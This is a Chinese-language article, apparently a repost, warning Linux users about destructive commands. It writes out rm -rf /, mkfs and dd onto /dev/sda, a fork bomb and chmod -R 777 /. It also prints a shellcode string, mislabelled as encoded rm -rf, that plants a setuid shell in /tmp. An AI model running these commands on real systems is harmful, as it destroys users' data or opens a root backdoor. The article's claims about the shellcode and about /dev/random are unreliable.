在Linux你擁有的工具使你能夠控制和修改操作系統的每一個方面。但如果你不熟悉這些命令和工具,你可以很容易地把你的系統摧毀。
想象一下家庭中的小孩子的情景。孩子有許多方法可以傷害自己。但這是否意味著不應允許孩子離開嬰兒床?那會對她的成長造成損害。
這就是父母設定界限和引導孩子的地方。不要靠近火堆,不要把手指戳到電源插座。
隨著孩子的成長和經驗的積累,她可以把爐子打開,在壁爐里生火,插上電源線。
同樣,如果你知道一些已知的風險命令,你可能會避免落入陷阱,他們試圖欺騙你運行命令,擾亂你的系統。
當你積累了經驗,知道了這些命令和工具的含義和用法,用愚蠢和棘手的命令破壞你的系統的機會就會減少。
這里我們與你分享一些流行危險的Linux命令。讓我們看看它們是如何干掉你的 Linux 系統的。
rm -rf /*
這個可能是在各種社交媒體上出現的最多的命令。你會經常發現大佬們在各種討論中提及這個。
rm 命令用于刪除文件或者目錄。選項-r
和-f
表示遞歸地刪除指定目錄內的所有文件。如果沒有root權限,這個命令造成任何傷害不大。
運行命令sudo rm -rf /
也不會產生任何問題,因為大多數發行版提供一個故障安全選項。你需要指定--no-preserve-root
才能運行它。
它遞歸地刪除根目錄的所有文件,在一段時間后,你的系統會被凍結,并顯示刪除文件錯誤。重新啟動系統,你將被送到grub-rescue提示符。
sudo rm -rf / --no-preserve-root
sudo rm -rf /*
覆蓋你的分區
如果你熟悉文件系統,你可能知道/dev/sda
是什么。通常是你的磁盤驅動器。重定向操作符>
用于將其前面命令的標準輸出寫入指定設備文件。
但是你可能會在運行命令時把它寫到/dev/sda
。例如你可能會運行命令echo "Hello" > /dev/sda
。
命令將會把Hello
字符串替換/dev/sda
驅動器的所有數據,/dev/sda
驅動器數據也就丟失。
echo "Hello" > /dev/sda
標準輸入,標準輸出,標準錯誤與重定向 | myfreax
0表示標準輸入。1表示標準輸出。2標準錯誤。您可以使用這些文件描述符來控制程序或者腳本的輸入和輸出
myfreaxmyfreax
標準輸入,標準輸出,重定向
把所有移動到/dev/null
在每個Linux系統內都有一個空設備文件。而這個空設備文件就是/dev/null
。通常稱它為黑洞。
無論你把什么東西移動這個這個文件都會永遠丟失。而且它在丟棄數據后會將寫入過程報告為成功,這是其破壞性的主要原因。
mv 命令用來移動或重命名文件/目錄。命令mv /home/user/* /dev/null
把家目錄內的所有文件都移到黑洞。雖然系統沒有被破壞,但你所有的個人數據都會丟失。
mv /home/user/* /dev/null
Linux mv命令移動文件與目錄 | myfreax
移動文件和目錄是您在Linux系統上經常需要執行的最基本的任務之一。在本教程中,我們將說明如何使用mv命令移動文件和目錄。
myfreaxmyfreax
mv 命令移動文件
格式化硬盤
mkfs是一個命令行工具,用于格式化磁盤和分區。它是一個超級方便的工具,可以為你創建分區。
但同樣的命令也可以格式化你的硬盤。格式化你的驅動器意味著刪除系統啟動所需的所有文件。
命令mkfs.ext3 /dev/sda
完成了它的工作,而你最終得到了一個無法恢復的混亂的系統。
mkfs.ext3 /dev/sda
如何創建磁盤分區在Linux | myfreax
安裝新的SSD或硬盤后,您需要做的第一件事就是對其進行分區。每個驅動器至少需要一個分區,然后才能對其進行格式化并在其中存儲文件
myfreaxmyfreax
fdisk命令創建分區
fork 炸彈
:(){ :|:& };:
這個看起來很可愛的特殊字符和符號的隨機組合,足以通過耗盡系統資源來凍結一個正在運行的系統。
&
是Shell后臺操作符。它通知Shell將命令放在后臺運行。在這里定義一個叫做 :
的函數。
它調用自己兩次,一次在前臺,一次在后臺。這個過程不斷地重復執行,直到系統凍結。
顧名思義,它會自己fork,最終成為一個連鎖炸彈,吃掉了所有的系統資源。你將被迫重啟系統,這并不像中其他命令那樣糟糕。
:(){ :|:& };:
覆蓋重要的配置文件
>
雖然這本身不是一個命令,但它更像是一個預防性的東西。如上所述,>
操作符是用來向文件寫入內容。
>
操作符重寫文件中已經存在的數據,并將提供的新數據寫入文件中。如果你將一些重要的配置文件作為寫數據的地方,原始配置將會丟失,留下一個損壞的系統。
command > config_filename
用垃圾數填充換分區
/dev/random是Linux 的一個命令,它可以創建垃圾數據。把它和dd命令以及你的分區組合起來,你就得到了一個可以讓你的分區爆炸的燃燒彈。
dd命令被用作一個低級別的復制工具。在這里它從/dev/random
中獲取隨機數據,并用這些垃圾數據替換/dev/sda
分區。
另一個實現類似效果的命令是cat /dev/urandom > filename
,在這里它從 /dev/urandom
獲取隨機數據并寫入一個文件。
如果不使用 Ctrl + C
終止,文件會占據相當大的空間,這對低端系統來說可能是災難性的。
/dev/urandom
和/dev/random
是一樣的設備文件
dd if=/dev/random of=/dev/sda
cat /dev/urandom > filename
Linux cat命令技巧與詳解 | myfreax
cat命令是Linux中最常用的命令之一,cat命令的名稱來自于concatenate。cat最常用于打印一個或多個文本文件的內容
myfreaxmyfreax
將系統暴露所有人
在Linux,所有東西都是文件,每個 文件都有一定的權限。你可以運行ls命令ls -l
查看權限。
根文件系統是不允許沒有權限的用戶訪問的。雖然這保證系統的私密性和安全性,但你可以用一個命令顛覆這個系統。
命令chmod -R 777 /
將根分區上的所有文件暴露給所有人。這意味著每個使用該系統的人都有讀、寫和執行的權限。這對你的系統是不利的。
chmod -R 777 /
Linux chmod 命令修改文件目錄權限 | myfreax
在Linux,通過文件權限,屬性和所有權來管理對文件的訪問
myfreaxmyfreax
下載并運行惡意的內容
你如何在Linux中安裝軟件?你可以使用官方的軟件包管理器,或者使用低級別的包管理工具如Deb/RPM、Snap、Flatpak等。
然而有些軟件是沒有打包的分發的,它們的開發者提供下載和安裝Shell腳本。你下載一個Shell文件,然后以root用戶運行它。
這樣的命令會在你的系統中下載并運行惡意腳本,這可能會破壞你的系統的安全性。
偽裝的命令
在Linux終端,有許多方法可以運行命令。其中一種方式是十六進制編碼的命令。
雖然它看起來很花哨,但這是rm -rf
命令另一個編碼版本。它的效果與運行前面的命令相同。
因此,在從互聯網上復制和粘貼這些花哨的命令時,要小心謹慎。因為歸根結底,還是要靠用戶來保證,不要盲目地運行任何危險的命令而破壞系統。
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68”
“\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99”
“\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7”
“\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56”
“\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31”
“\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69”
“\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
UNIX 的工作不是要阻止你搬起石頭砸你自己的腳。如果你選擇這樣做,那么UNIX的工作就是以它所知道的最有效的方式將石頭砸到腳上。
-
Linux
+關注
關注
87文章
11225瀏覽量
208920 -
操作系統
+關注
關注
37文章
6737瀏覽量
123190 -
命令
+關注
關注
5文章
678瀏覽量
21984
發布評論請先 登錄
相關推薦
評論